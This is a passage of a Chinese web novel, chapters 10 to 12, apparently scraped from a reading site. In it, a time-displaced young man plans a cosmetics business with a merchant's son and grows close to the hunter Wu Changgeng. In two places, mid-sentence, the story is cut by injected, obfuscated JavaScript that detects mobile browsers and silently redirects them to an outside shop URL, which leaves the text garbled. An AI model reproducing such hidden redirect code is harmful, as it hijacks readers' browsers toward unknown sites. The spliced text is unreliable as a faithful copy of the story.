李禄送过东西，便同他们告退，也不相送了。 周慈青将东西拿出来，幸得头顶的月色和星子还有几分亮光，能瞧得见这物什是被油纸包住的，想是为了防水。 打开一看，却见是一叠宣纸，一支毛笔还有一根墨条，细嗅还有股淡淡的松香。 “还是好墨呢。”周慈青感慨，“苏员外当真是好生爽利之人。” 吴长庚也颔首：“也是慈青你得了他的赞赏，他才这般大方的。” “我看苏员外是有几分义气的。此前所见之为商者，大都不见兔子不撒鹰，哪有给钱给物这般痛快的。方才也是我拦得及时，否则苏员外这钱财都到手上了。” 他说话的声儿不小，清清脆脆的，亮得紧，团在树梢的飞鸟叫他给惊动得振翅飞走。 几团树枝上覆着的雪簌簌往下掉，吴长庚眼疾手快，将手覆在他头顶上。那雪啪嗒一下砸下来，又四分五裂，雪粒子从周慈青的鼻尖跳过。 周慈青呆呆地望向天空，闷闷地说：“啊，这叫个什么事儿，是这老天爷在告诫我，人不可得意忘形么？我可真是冤枉呐，还不曾真的春风得意呢！” 吴长庚甩去了手背上的雪，失笑：“飞鸟不通人性，此事在山间司空见惯，莫要多想。” 周慈青也笑。 他二人并排走着回去，踏着沙沙的雪声，听偶响的鸡鸣和狗吠，似乎还有几声狸奴的低叫。 这次的路途上倒再没发生任何意想不到的事儿了。 10. 第十章 横桌，铺纸，研磨。 所幸这两日周慈青的身子好些了，不至于日日咳嗽难捱，头重脚轻的，还握得起笔。 他将汤婆子给放在一旁，冷着了，就伸出那冰凉的手去挨一挨，蹭一蹭，得些暖意熨帖。 毛笔饱蘸墨汁，悬腕在纸上行云流水地书写起来。 幸得大学时入了个三笔字的社团，指导老师也极为负责，竟在得空之时会来书法室指导他们。 初始，周慈青临的是褚遂良的《雁塔圣教序》，后为《张迁碑》和《曹全碑》，不说字体字形有多秀美风骨，却是有了自己的形。不至于软弱无力，或不忍细看。 他思量着，一面细细地增增减减，一面又暗忖可能性。 虽是脑中有不少新奇的法子，却也不是样样都能直接拿出来用的，需反复打磨、试验，才能真正揽天下之钱财，成巨富之陶范。 一口气吃不成大胖子。 口红、粉底液、眉笔、香水、花露水还有精油等物，玻璃、镜子万花筒，都列在计划之中。 具体之物就没必要写给苏员外瞧了，不过是改为家中有良方，或可找匠人一试来替代，便也不算是隐瞒。 一张纸写好了后，瞧着有些凌乱，太多删改涂抹之痕迹。 周慈青再拿一张新的，慢慢悠悠地誊抄于纸上。此番有些耗时费力，却也是冬日打发时间的好法子。 抄好后，他便将纸给收了起来，捧着汤婆子在院中转了一圈。 大黑不冲他吠，也不见亲近他。见了他也是懒洋洋地掀开眼皮瞅两眼，又盖上了。 “早晚叫你拜在我的美食之下！”没个人解闷，周慈青朝着一只黑犬说话都乐得开怀。 树梢上的雪在啪嗒啪嗒地往下掉，快要立春了，后边儿就不会见到漫山遍野皆是雪粒之景。 有些嫩芽在雪中埋了整个冬日，已经迫不及待地钻出了雪被，挺直身板儿出来透口气。 周慈青瞥见那点嫩绿，抽了口气：“春天真要来了。” 午时过去不多久，吴长庚便推着车归家了，他这回倒是带来个不怎么妙的消息。 “自打饮子生意做得不错之后，城中出现了许多仿制的。虽是味道不及我们，但是价格却低了些。”吴长庚沉沉地说。 此事便是周慈青也没什么好法子，吃食一物仿制最快，又无甚太大技术含量，不需要进献给王公贵族，逐利者或早或晚都会出现的。 “老主顾可还好？”周慈青问。 吴长庚便道：“尚在。富贵人家，家中有些闲钱的，还是会挑着我们的饮子来买。” “那便好。”周慈青说，“我们这项营生也不是一辈子就要耗在上面了，不过是冬日过着实在艰难，便想着这个法子周转一二。现在我想着，日后慢慢有了其他进项，不去费这些周折卖饮子也使得。” 吴长庚点头应：“是这个理。” “只是咱们不做这营生，叫这饮子生意荒废了，倒也是可惜。”周慈青叹气，“若是有谁能够把这饮子的方子买过去，倒也是一个进项。” “我这儿倒是有个人选，但明日还要去探探他家中的口风。”吴长庚直言。 周慈青面露喜色：“先试试吧，若是不成也无妨。” 吃过饭，二人就要去忙各自的事了。 吴长庚瞅瞅这山间的大雪，按捺住心焦的情绪。再过些日头，他便又能入山打猎了。 只这初春时打猎太过危险，野兽们冬眠，饿了一整个冬，想是早就饿红了眼，且身上的皮肉也值不了多少钱。 猎人最紧要的便是耐心，需蛰伏下来，且不可将自己的性命给搭上。 周慈青这也拾着自个儿那卷纸去找苏员外了，且手中还带着一块此前做好的肥皂。 苏员外拿着那方纸，细细地看了，却是越看越惊，喜色也越大。 “我便厚颜继续称你一声周弟了，日后你也不用再唤我苏员外，叫我声苏兄即可。周弟可真是天生做生意的奇才啊！”苏员外对他才是赞不绝口。 他忙忙地将这纸上写下的“计划”一事瞧了又瞧，竟然爱不释手。 从拉近了关系的称呼，还有苏员外的做派来看，周慈青这次的举动——大获成功！ “苏兄过誉了，不过取一点巧罢了。”周慈青继续谦虚，也从善如流地改了称谓，并不推脱。 苏员外爽朗一笑：“如此，我那逆子跟在你身边，我也放心了许多。” 他瞧完了周慈青列好的一二三四后，目光不自觉地落在这字上，叹道：“此前周弟将这面纸拿给我，我冷不丁一瞧，就觉得这恰是字如其人。秀美生动，洒脱自如，运道却又稳，形骨也在其中。周弟绝是非凡之人！” 夸什么都好，竟是夸上了自个儿的字。 周慈青双颊泛着薄红，连声道：“哪里哪里，慈青还有的练呢！” 他又赶紧将自己带来的肥皂奉上，递给了苏员外。 “这是……？”苏员外接过这藤黄色的块状物，手感似蜡，还带着淡淡的梅花香。 周慈青说：“此物乃香皂，可洁手净身。” 苏员外面露喜色，正要唤来家中小厮一试。 周慈青阻道：“不可。此物还需皂化一段时日，那时方才得用。” 他又道：“倒是其他物品和城中铺子可先行一步，需得找些匠人来。” 不说周慈青带来了香皂这等实物，可让苏员外自己决断。便是那一纸的“计划”，就足以让苏员外压下这次宝了。 “老兄不才，却也是在县城中买过一两家铺子以供家中嚼用的。择日不如撞日，周弟可带我那孽子去趟城中，寻个合适的铺子。到时全权交由你二人负责，我也不横加干涉。” 苏员外的爽快真叫周慈青如沐春风，他也满面笑容，乐道：“那慈青就恭敬不如从命了。” 如此，又托家中小厮去吴家传个话，便乘坐马车缓缓驶入县城了。 苏家当真阔绰痛快，若非机缘巧合，家中独子不堪重用，周慈青未必能得这一机会！ 马车一摇三晃，颠得人头昏眼花。 桌上摆着熏香，下方是炉子，还有从波斯来的羊毛地毯垫脚。坐的凳子上也垫着软枕，也有防震之物。作用虽小，总好过没有。 马车内两方还有暗格，抽出来便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13289169|140123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是零食小吃，还有游记杂书。想是用来打发时间的，却不见话本等物。 这皆是由苏家公子苏知乐为周慈青所讲述，他二人身边只跟了一个机灵点的小厮候着，外头是赶车的车夫，倒不见其余人等。 苏知乐约摸着有个十五六岁的年纪，放后世还在上高中，到了这就得早早接触家中产业，以免他爹日后真的死不瞑目。 他倒是也随了他爹的性子，热情真诚。 一开始见他还有几分富家子弟的矜傲，后来周慈青被他爹看重之后，便乖乖地敛了性子，不敢有任何造次。 审时度势倒是一把好手。 周慈青打量着他时，苏知乐也悄摸着看向周慈青。 生得着实风流俊俏，面白唇红，眉清目秀的，隐见两分病态的不胜之姿。但这分病气非但不减他的半分颜色，反倒叫人更心生怜惜。 世人大都庸俗肤浅，看重皮囊。 苏知乐也不能免俗，况且周慈青可不只是有张好看的脸，他既能让他爹称兄道弟以礼相待。如此，他亲近爱重也不是什么奇事。 思来想去，苏知乐便寻了个话头拉近二人的关系。 他说：“慈青，你可知近些时日来，城中出现了一风靡之物。” 周慈青品了一口香茗，入口微涩，而后回甘。 脑中清明了片刻，望向苏知乐期待的双眸，他不紧不慢地说：“苏公子的称呼错了，我与令尊以兄长小弟相称，公子该唤我什么？” 苏知乐嘴巴蠕动着，还不曾作答，他那小厮就乐乐地说道：“自然是叔叔了。” 这把苏知乐气的，朝着他的脑袋就来了一巴掌：“瞧你能的，不许多嘴！” 苏知乐没好气地说：“周叔。” 周慈青笑吟吟的应了声。 苏知乐是个没什么骨气的，瞅着周慈青展颜后叫人晃神的好看，便酥了半边的骨头，心中哪还剩什么气。 他当即就说：“我听闻城中近来最风靡之物就是饮子了，据传还是什么奶茶、烤奶。滋味当真醇厚香甜，味浓纯正，乃是顶顶的好物。只可惜贩量不多，每日只卖半上午，摊主还是个冷脸的汉子，叫他再多卖些也不听，真是不知变通！” “你喝过？”周慈青问。 苏知乐得意地说：“那是。我叫人特特从县城里买来带到乡中的，我们家里头的下人还说排着老长的队伍呢，幸亏来得早。倒是也有其他卖差不多饮子的，不过谁要去买那不正宗的，我要的话，自是要买最好的。周叔，你想要的话，我明日也可给你带一竹筒子回来呢！” 周慈青摇摇头：“不必。” 不待苏知乐装模作样劝他两句，他便接着话说下去：“如果我没想错的话，你说的那饮子应当是我此前拿出方子熬制而成的。可是县城中最大那家茶楼前的摊子？” 小厮云生立即道：“正是呢！” 周慈青笑道：“那便就是了。冷脸汉子便是长庚兄了，是我让他不用熬制太多，毕竟家中人手少，忙不过来，免得累坏了身子。” 苏知乐直接傻眼。 思及方才的得意，直叫他红了脸，这可真真是班门弄斧了。 11. 第十一章 许是快要立春了，县城内瞧着都比冬日更热闹。 马车一路驶向苏家的商铺，周慈青便问：“那铺子是你们自己家的么？” 苏知乐原本跟只鹌鹑似的缩在一旁，现下听了他的问题，忙不迭地说：“是，也就只有县城内的商铺要好买了。” 周慈青发出困惑的声音：“怎么个说法？” 若是苏员外在这恐怕就要嘀咕了，可苏知乐却兴致不减，语气反倒有几分激动：“州府的铺子大都是朝廷的，你若是想要开间铺子，得跟官家租呢。若是好的地段，一天的租金都得一千多文！” 十天就是一两银子了，岂能不贵呢。 周慈青笑吟吟地说：“你倒是打听得清楚。” 苏知乐脸上闪过一抹心虚。 “你曾经做的那门交引的生意，就是在府城内开的吧。”周慈青用手托着下巴，不紧不慢地问。 苏知乐唯唯诺诺，没吭声。 云生看看他们家少爷，才说：“您一猜就准。” 周慈青话锋一转：“咱们这县城里的铺子每日的租金应当不高吧。” 苏知乐有话说了：“不高，地段好些的只要一百多文，偏僻的就只要十几文。” 一问一答间，马车就摇摇晃晃地停了。 周慈青目光探向车外，不用那护院搀扶，自己就跳下车了，行了一条街走过去。 苏知乐和他家那小厮还在后头说话。 “公子，怎么瞧着他好像什么都不知道呢？跟个骗子似的。”云生心里止不住地打鼓，跟他家少爷去年拿出五百两黄金去做生意时一样心忧。 苏知乐哼了一声，冷笑道：“他哪是什么都不知道，这是在考验我呢。若说是我自己再找的一伙人来做搭伙生意，被骗也无不可能。可他是我爹寻来的，我爹看人可比我准多了。” 云生寻思着他们家少爷还挺有自知之明的，心也囫囵放回了肚里。 周慈青已然开始打量起了这间铺子，它同打尖的酒店、勾栏瓦肆、食店酒楼比邻，四周还有风月场所，米粮油铺，热闹非凡。 苏家的铺子，卖的却是笔墨纸砚，更兼书籍，可生意却比之其他稍显萧条。 虽说当朝重文艺，兴科举，奈何读书人非是轻易能够供出的，多的还是读了几十年书仍是没有功名在身。且这笔墨纸砚的花费甚重，贫民寒门自是能省则省。 周慈青出神地瞧着这家店铺，脑中已经勾勒出了大致布局。 “诶诶诶，你不买在这看什么？”店内的小二许是嫌他挡了门，碍着他们做生意，想要来前来驱逐他。 另有一人倚靠在那门旁，哧哧地笑着：“依我看啊，他就是想买也买不起的。” 掌柜的连忙从店内走出来，斥责他二人：“浑说些什么！是想讨打了不曾！” 周慈青冷眼瞧着，不言。 苏知乐恰恰在此时从后边儿迎了上来，那声儿是从牙缝里挤出来的：“周叔叔。” 周慈青不免一乐，转过脑袋：“嗯？” 到底是不叫自己继续面对那些脑仁疼的之乎者也的大功臣，苏知乐干脆破罐子破摔：“别站在外边了，我们进去瞧瞧吧。” 周慈青点头：“好。” 那掌柜的本来还在疑惑这外边的人怎么光在门外瞧，不进来看看时，就见到了苏知乐的身影。 他脸上立刻堆满了笑：“小东家怎的来了，快请！快请！” 方才那两个你一眼我一语的小二身上冷汗直往外冒，一改方才桀骜不驯的姿态，很是殷勤，对着周慈青和苏知乐弓腰垂首，极尽谄媚之言。 此前说他买不起东西那人还悄悄往他掌中塞钱，放低声音了求饶：“好哥哥，之前是我等有眼无珠，实在该打！” 他说着，朝自己脸上扇了两巴掌，又道：“您大人有大量，就饶了小弟们这一次吧。我二人凑了点钱给哥哥买酒吃，算是给您赔罪了。” 周慈青将这些钱给推让回去，这人面色骤变，心下一阵忐忑。 苏知乐赶了上来，走在他身旁，眼儿在二人身上转了一圈，道：“看完了么？” 那人也只得心有不甘地收回了钱财，只这心里却跟油煎似的，暗悔不已。 周慈青进去转了一圈，心中已经有数：“看完了。” 他们这一行人默不作声，也不买什么，也不说自己来做什么。看了一圈，竟是要走。 掌柜的暗自揣测用意，又说要请苏知乐这一行人留下吃饭。 不曾想，他们这位小东家竟是先去看了走在前面那模样好看的少年，还是要他来首肯。 只见那貌若小神仙的少年摇了摇脑袋，他们这小东家便道：“不用了，不用了。” 掌柜的在心里头揣摩少年的身份，又热情谄媚地将这一行人送走，还拉着苏知乐的手说：“小东家要常来看看我们，你这一来，咱们这店里都不知道亮堂了多少，生意瞧着竟是比之前都要好上不少呢！” 苏知乐撇开他的手：“少在这里油嘴滑舌，我和我爹不来这儿，你们不知道有多快活呢。要是真天天过来，心里头不说，你嘴上定是骂死我了，别当我不知道。” 掌柜的心内悻悻，脸上的表情热络：“哪能呢，您来，我是高兴都还不及呢。” 周慈青在一旁忽然道：“那就恭敬不如从命了，后头这几天我们都会过来看看的，掌柜的可别嫌弃。” 他这才是真的不按常理出牌，叫掌柜的哽在原地，面色微微泛青，挤出个笑脸来：“怎么会呢，你们来，我们是最乐意的。” * 他们都走出老远了，苏知乐脸上挂着的笑容还不曾淡下去：“没想到周叔竟也是个促狭人。” 几人也都笑了。 周慈青搓了搓手掌，淡声道：“外头有些冻人，找个茶肆坐下来说话吧。” 一行人无有不应。 苏知乐苏少爷，出手阔绰，当即找了个上乘的茶坊包间。周慈青坐下后，抬头一瞧，举目皆是雍雅古典的字画文玩，插有应季的花，叫人颇受文人格调的熏陶。 房内温暖如春，外头冻僵了的手脚都活泛起来，让周慈青也尝到了一把万恶地主阶级的快活。 在茶肆，当然饮的是茶。 苏知乐要用的更是顶级奢靡的茶饼，享受的也是最好的待遇。 周慈青也见识了一把古人饮茶时的点茶法：备好茶后，就将茶饼放入磨中，手推茶磨。点茶人边上放着茶帚和拂尘，用它们不紧不慢地拂聚茶尘。风炉上的炉火沸腾，上面的茶壶烧煮着沸水。以水点茶，煮出来的茶汤色泽如琥珀，香似仙茗。 茶沫与茶汤浮动，面上竟出现了早期“拉花”的形态，心思甚巧，奇人当真也是甚多！ 苏知乐觉着有些无趣，方要找些乐子，周慈青魔鬼般的声音又在他耳畔响起：“苏贤侄，可觉着方才那铺子如何？” 苏知乐先是听他对自己的称谓，脸上一阵儿青一阵儿白的。 他心知要想日后不去考功名，被束缚在那叫人头疼的书籍策论之中，就得乖乖听周慈青的话。 沉思片刻，他道：“尚且不错。” “只是如此？” 苏知乐又拧起了眉头，绞尽脑汁、搜肠刮肚地想着方才又是什么没叫自己发觉得。 “此话原不该是我来说，不过既然苏员外苏兄信任我，便斗胆说上一回。” 苏知乐和云生知道，他这张伶俐的口齿又要说上不少的话。 云生还暗道，连自家少爷都叫你调教得服服帖帖，不敢造次，还有什么是你不敢的呢？ 周慈青道：“你家雇佣的那几个小二，偶有在店中偷偷懒，本是常事。人有怠惰之时，此乃本性，尚且不提。” 苏知乐竖眉横目，恨恨道：“我就知这些人不本分，拿着我家的钱财却不好好做事！” “且先听我说完。”周慈青清了清嗓子，又道，“我观他们最大的问题还要属待客之上。方才我先从马车里头下来，横过一条街走去。那些小二见我一身粗布衣裳，眉眼间隐有倨傲不屑之态。待你一上来，和我同行之后，他们才一改先前的态度。非我暗中嫉恨他等便说这些，倘或是客人叫他这样前倨后恭对待，财源如何能留得住呢？” “你这话说得有理！”苏知乐胸口起伏几下，对那几人生了厌，“听我爹说，这些铺子的小二都是掌柜的自行招募，想是叫自家亲戚包揽了去，也纵容了他们去！” 云生道：“可这……断人财路如同杀人父母，那些人能甘心么？” 苏知乐冷冷道：“你这话倒是好笑了，他们本就是我家 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周慈青给了他一个赞赏的眼神：“就是先在城内开一家店，若是生意好些就能在城中其他店照模照样地推广。若是不好，也能及时止损了。” “既然要换种生意，这整个店自然都要改头换面了。”周慈青唇角翘起，如此这般这般如此地跟这苏知乐说了。 只见苏知乐和云生的眼睛越来越亮，瞧着周慈青的眼神俨然不再是看凡人的目光，活像他是从天上下凡来的真仙。 苏知乐更道：“有周叔您在，我做生意何愁不兴，我爹也不能再为我担忧了。” 周慈青却摇头：“取个巧罢了。先前大家顶多只是看个热闹，能留住客人的还得是家中的商品。要深得客人的心，这才是正道。” 苏知乐面色一凛：“匠人早就去寻了，我们家也是有工坊的。便是没有能做好胭脂水粉的，也能直接买来！现在就要去看看么？” 匠人身价可不低，但这些门户私藏依然不少。 周慈青要得就是苏知乐的痛快。 “走吧，今儿个要忙的可就多了，便是歇息也不能够的。” 苏知乐年轻气盛，眼瞅着自己手头就能做出一番大事业来，自是坐不住了，跟着周慈青跑上跑下都不带累的。 打铁要趁热，周慈青也是思忖着苏知乐的这股新鲜劲儿，一鼓作气将事儿起了头，才好对之后的事步步为营。 匠人这儿也好谈。 他们对主家很恭敬，是些本分人。 苏知乐也在瞧人，看匠人们到底是比此前那些个店铺中的掌柜小二要满意些。 周慈青先跟匠人们拉了几句家常，他眼眸清亮干净，还会讲话，极易获得旁人的好感。 苏知乐耳濡目染，只觉跟在周慈青身边几日，就是再笨的嘴舌也能伶俐不少。 往后他对上自家爹，嘴皮子定然比如今利索。 周慈青渐渐地就将话拐上了现在他们手里头的匠活上边：“我虽不才，但家中曾也对胭脂水粉有些研究。敷粉，描眉，上腮，润唇，妆容就好似绘画。” 众人接连颔首。 “前朝盛行的妆容常改，却依然免不了用上咱们的胭脂水粉来描画。倘若能做出更多更精细的一应用具，再将胭脂水粉方子改进些，说不准封陵县日后便能引领起妆容风潮。我说这些听着像是在言大话，但事无绝对。苏家铺子有你们这群匠人在，万事还用不愁么？正是因为一观你们做的那些胭脂水粉，我才生出这一想法了。” 世人大都含蓄内敛，少有他这般直白疏朗的。匠人们听着周慈青的话，脸不由得一红，胸膛却挺直了不少。 苏知乐暗中回头对云生说：“若是我能学到半分他讲话的精髓，谁都休能在我面前逞能！” 周慈青从前的视频不是白刷的，资料也不叫白找的，他是真能对改进方子说出个一二三来。 便是造纸的匠人那儿，他也自有叮嘱。 光靠能说会道可真不能成事儿，打铁还需自身硬。 匠人们经他这一提点，醍醐灌顶，恨不能立刻就去埋头在新产品的尝试中。 周慈青也大方地放他们去了。 苏知乐这回才是真的什么话也说不出了，他在周慈青面前垂首。 “周叔。” 这回喊的是真心实意！ 12. 第十二章 回了村，婉拒了苏家的留饭邀请，周慈青倦鸟归巢般飞回了吴家。 “长庚哥！” 还有好长一段路才到吴家，吴长庚就杵在那小路上遥遥望来。周慈青双腿走得快上不少，还不曾走到面前呢，他就跟人抱怨说：“今日走了好些路，腿脚都走酸了。” “话更是说了不少，嘴巴也酸了。”周慈青碎碎念。 吴长庚顺势拉过他的手，握了握，不凉。 放下后，他立马捏住周慈青的嘴，笑说：“既然嘴巴累，便少说两句，省些气力。” 周慈青就不说话了，只弯着眼儿，看着吴长庚笑。 雪融了不少，踩在上边再听不见沙沙作响的声。 周慈青没了话，就是吴长庚说：“此前你不是希望有个人能够买下咱们手中饮子的方子么，已经定下来了。” 周慈青问：“是谁？” 吴长庚说：“吴老三家中的张嫂子。” 周慈青还要再听，结果吴长庚就闭上了嘴，他疑惑道：“没啦？” 谁知吴长庚的眼神比他还困惑，周慈青只得眼巴巴地瞧着他。 二人进了院子，周慈青的肚子一阵叫唤，他也不好再问。 吴长庚连忙去弄些吃食进来。 “简单点儿就行了，我可没那么挑。”周慈青忙拉住他。 吴长庚点头。 晚间就吃了简单的汤饼，是叫那梅花碾出的汁水和好的面，再做成了面皮。最后放在锅中用沸水煮熟，浇了些骨汤，再佐以料汁。 可惜这个时候没有辣椒，辣味全赖姜蒜，再来点辣就是茱萸。 周慈青吃得津津有味。 吴长庚这时才不慌不忙地开口：“张嫂子原就对卖饮子一事有意向，可这毕竟是咱们赚钱的营生，她又怎好染指。我今日去她家中提起了这事，她也果真意动。我于是将方子用五两银子的价给许了出去。” 周慈青点头：“这样也好，此前的人情债也算还了。加上这段时日赚的，去除本金，咱们也有些钱得以周转。” 周慈青掰着手指算：“这样一来，我也能够还长庚哥一些钱了。后头生意做起来，都有赖长庚哥，我定不叫你吃亏的。” 他仰着脸，吃过汤饼，双腮都泛着红，玉白的脸蛋上嵌着的两只黑眼珠尤其的亮。红色小嘴油汪汪的，小脸圆了些。 吴长庚瞧着他，沉声道：“不急着要你还钱。我救你，又不是为了牟利。” 周慈青瞧他面色有些暗，担心是他误会自己，赶忙了去拉着他的手，好一阵儿说：“长庚哥和我说这种话就见外了吧，我哪里能不知道你是什么样的人呢。你和我亲，我心里是欢喜得紧。但俗话说得好，亲兄弟还要明算账呢。我也不怕你恼，这钱我要还与你我才放下得下心来。无债一身轻，才好叫我安心。往后咱俩快快乐乐做一对好兄弟，不好么？别谈钱了，谈及这些伤感情得紧。” 吴长庚的神色和缓了不少，他拿来手帕给周慈青擦嘴：“不是嘴巴酸了么，还说那么多话，也不嫌喉舌难受。” 周慈青笑嘻嘻的：“同长庚兄说再多的话都不难受，我欢喜着呢。” 他向来嘴甜人乖，不过这三言两语就哄得吴长庚眉目疏朗，面色不知比方才好看了多少。 “你那边呢，同苏员外家的生意如何了？”吴长庚问。 周慈青又拿了燕窝吃，润润喉，才道：“我后头这几日就要去铺子里监工了，大体都安排好了，想是不会再出错的。” 他吃一口，咽下后又说：“入了春，长庚哥也不要急着去打猎。这个时候才从冬眠中醒来的虎豹熊狼是最凶的，小心为上。” 吴长庚点头：“我晓得的。” 他道：“入春就是开荒的时候了，我在那时也会种一些菜打发时间，或是跟村里的木工学学手艺，不会荒废这些时日的。” 周慈青心知吴长庚手脚勤快麻利，是条好汉子，这是不必多说的。 他迟疑了一会儿，才道：“此前我一直都不好开口，是怕冒犯了长庚哥。但我想着如今咱俩关系这般亲近，还那样藏着掖着，反倒是将咱俩的关系给疏远了，于是想问上一问，长庚哥家里还有些亲人么。” 他观吴家村这些人，似都不与吴长庚相熟，大都离得远远儿的，心中便生了疑虑。 吴长庚倒没叫周慈青猜：“我家中双亲确实已经离世了，当年爹娘本就是当年逃荒时搬来的这座村子的。关系近些的亲戚是没有的，远些的大都失散了，所以才不见来往。” 周慈青的眉都给皱一起了，他叹气道：“我这是问到你的伤心处了，长庚哥，实在对不住。” 吴长庚摇头；“无事。那你如今……” 周慈青听懂了他的未尽之言，道：“我也一样，是孑然一身。” 他露出了笑，抿了一回嘴，说：“这定是老天爷觉着咱俩太可怜了，才想着给我们凑一块呢。谁又能说这不是天定的缘分。” 吴长庚看着他，也笑，黑沉沉的眼眸平和不少。 立春即到。 封陵县近日倒是发生了一件奇事—— 竟是一家店铺重新装修了，也不知店主是打算做什么。 本来吧，封陵县城内的店铺摊贩没有上千也有上百了，不过是一家小店突然就要装修，本不该引起全城人的注意。 不过，这家店的店主想是深谙做生意的精髓，竟是在装修彻底完成前，就用一张大红布掩着，谁也瞧不见里头的布局。 问工人，工人竟是也摇头，说是主人家让保密。且他们每日闷头干，摸不着脑袋，也不知道主人家究竟是要做个什么出来，这就吊起来旁人的好奇心。 还不只是如此呢。 听闻这家店此前是家书铺，卖的是读书人所用的笔墨纸砚，结果掌柜的连同那跑堂的一块都给辞退的。 这些人当然心有不甘了，就跑来质问他们东家：缘何无故辞退他们？ 他们好歹也是店内的老人吧，为了卖他们家的货，怎么也是没有功劳也有苦劳哇。哪能说辞退就辞退呢，这不是寒了人心么。 开店最看重的一点就是名声，连自己人都笼络不到，还那般狠心无情，客人们又能讨得到好么。说不准卖的东西就得榨取客人的利益了。 总归一阵闹腾，面上是无光的。 那小东家不欲跟曾经聘请来的掌柜跑堂折腾，本要将他们打发了去。 谁曾想他身旁那人倒是一脸无奈地说：“非是我们一定要辞了你等去，只是你们来做掌柜和跑堂，实在是不合适啊。” 众人定睛一看，才发觉说话的那位小公子生得玉面红唇，雪容鹤姿，心不自觉地就偏了。 “如何不合适呢？”掌柜的冷笑，“我在东家的手里头经营这家书铺，可是从未有过亏损，且还赚了不少。若不是找了一个比我还好些的掌柜来，我也是不依的。我们都是老人了，没有犯错就叫我们离开，要人就要，不要就将人一脚离开，还没个说辞，往后谁来为你家出力？” 他说得也有理。 小东家怒了，被他这三言两语刺激得面红耳赤，却叫个年轻人轻飘飘地挡在后头。 年轻人穿戴并非绫罗绸缎，锦绣衣裳，却是他们的主事人，才叫旁人觉着一阵新奇。 他清了清嗓子，又道：“我知你定是要个说法的。不过这是我们接下来要开的商铺隐秘内容，不可直接叫你打听了去。” 路人最爱听的便是这“隐秘”二字，一听有什秘闻，当即就把耳朵给竖了起来。 可见不论古今中外，凡人野兽，一概爱凑热闹。 他说：“既然你想知道为什么，那就在一个月后这店开业了，再来瞧瞧缘由！若是店中新聘来的掌柜还不如你在时所售之多，我们东家就同你道歉，再将你重聘回来。若是那掌柜的更出色，你也就不要再来叨扰了。况且东家厚道，早些便打发了你等三个月的月银，并非苛待了你们，又有什么不满足呢？” 面如冠玉的年轻人微微一笑，光风霁月，转盼流光：“东家是个厚道人，我不想他为难。何况这聘请辞退，本就是你情我愿之事。也没有成亲之后不能和离，非要强买强卖的理啊。你说是不是呢，尹掌柜？” 路人在心底一琢磨，倒还真是。 掌柜的叫他气得拂袖离开：“那我就静候佳音了！” 那年轻人双手往身后一背，一派风轻云淡。 小东家可就没这般好的气度，叫那掌柜的气得直跳脚，看得人一阵摇头。 古时人们能用来打发时间的娱乐手段本就不多，忽闻这么个新鲜事儿，当真是将众人的目光都给吸引过来了。 现在这茶坊瓦市内，都在谈论着那店铺究竟是做什么营生，是不是请来了什么好掌柜，那小公子可真不是一般的好看。 这还是未曾开业时的光景呢，就吸引了整座县城众人的目光。 不管其他百姓究竟是如何看待这件事儿的，单是其他商家就已经在扼腕叹息：这可不就是好手段么！ 管他卖的什么，能将客人吸引过去便是本事了。之后不论是卖什么货物，只要客人想起要来买这样东西，定然也会第一时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13289171|140123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间就想到他家。 * 身为受益者的苏知乐却闷闷不乐了：“他说你，你就不生气么？” 周慈青摇头：“我气什么呢，我反倒是要谢谢他们才是。” 苏知乐不解。 周慈青笑道：“如果不是他们将城中百姓的视线给吸引过来，我后头还要愁再想个什么法子吸引客人来瞧呢，到时候造势又要费一笔钱财了。你瞧他们做的这些，岂不是为咱们省了笔钱，这又怎么不能算是一件好事呢。” 苏知乐未曾从这个思路来想，他像是被打通了任督二脉，恍然大悟：“还是你沉得住气。换个方式想，着实好受不少。” 他又道：“不过，若是我们开店后真不如他在的时候，岂不是还要将他给聘请回来。我觉着他定是不会再归来了，说不定还要踩着咱们上位呢。” 苏知乐露出嫌恶的表情，可见是被上回那掌柜的气得不轻。 他年轻气盛，少见这样在他面前变脸如此迅速的。此间种种，倒真是给他当头棒喝，叫他知道人的恶意究竟多大。 周慈青说：“你怕什么，难道你认为我们真的不行么？” 他脸上出现了年轻人的傲气：“莫要长他人志气，灭自己威风。” 苏知乐一琢磨，便道：“你说的也是，我确实不该如此烦扰。对了，我爹说，店里还有几天的时间才开业，你那些改进的方子匠人们都夸好，想是多半能成功的。这钱必须得给你，免得你吃了亏。” 周慈青倒是没跟他们推辞：“苏兄果然是个畅快人。本是我想着你同我出资合办的铺子，我拿技术，你出人钱，却没想到你们家让利这么多。” 他脸上露出感激的神色，活像他们苏家是什么大恩人。 苏知乐面色难得一见惭愧之色，他说：“这，也不是。我爹说，我跟在你身边能学到的不少，你要为我操心挺多事儿，这钱你合该拿去。便是让我脑袋比先前更灵光，也是我们家的大恩人了。” 周慈青失笑。 他二人从县城里回乡，春天的脚步已经到了。原先白皑皑的雪早就化完，湿漉漉的地面也瞧不见了。 树林子里的盘根错节，瘦骨嶙峋的枝条俨然冒出了绿色嫩芽，田间人家早早就已经翻耕起了家中的泥土，不肯松懈半分。 厚实的冬装早已脱下，换上了比之前轻薄些的春装，就是面前的苏知乐也是。 然而周慈青还是里三层外三层地裹着，衣领上那圈软绒的雪白兔毛簇拥着他的脸蛋，竟是比这兔毛更加白腻。幸得还能见几分血色，面孔在炉子烘烤下也红润不少。 